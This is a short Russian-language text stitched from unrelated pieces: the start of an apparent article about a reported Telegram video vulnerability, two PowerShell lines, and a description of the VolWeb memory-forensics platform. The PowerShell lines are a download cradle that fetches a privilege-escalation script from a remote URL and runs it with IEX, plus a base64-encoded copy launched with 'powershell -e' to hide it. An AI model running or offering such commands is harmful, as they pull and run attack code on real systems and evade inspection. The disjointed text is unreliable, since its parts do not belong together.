Не­дав­но мне на гла­за попал­ся пост при­мер­но такого содер­жания: «В Telegram выяв­лена новая уяз­вимость, свя­зан­ная с заг­рузкой виде­оро­ликов». К пос­ту при­лага­лась демонс­тра­ция: поль­зователь получа­ет видео, при тапе по которо­му Telegram пыта­ется уста­новить сто­рон­нее при­ложе­ние. При этом проб­лема не прив­лекла осо­бен­ного вни­мания. Я решил разоб­рать­ся, работа­ет ли спо­соб, и написать к нему экс­пло­ит.

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/enjoiz/Privesc/master/privesc.ps1")

$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/enjoiz/Privesc/master/privesc.ps1")'))
powershell -e $encoded

Цель VolWeb — повысить эффективность сбора и анализа памяти, предоставляя централизованное, визуальное и расширенное веб-приложение для реагирования на инциденты и цифровой криминалистики. После того как исследователь получает образ памяти с системы Linux или Windows, доказательства могут быть загружены в VolWeb, что запускает автоматическую обработку и извлечение артефактов с помощью возможностей фреймворка Volatility 3.

Используя облачные технологии хранения, VolWeb также позволяет специалистам по реагированию на инциденты напрямую загружать образы памяти в платформу VolWeb из различных мест с помощью специальных скриптов, интегрированных с платформой и поддерживаемых сообществом. Еще одной целью является предоставление пользователям возможности собирать техническую информацию, такую как индикаторы, которые затем могут быть импортированы в современные платформы CTI, такие как OpenCTI, что позволяет связать команды реагирования на инциденты и CTI после завершения расследования.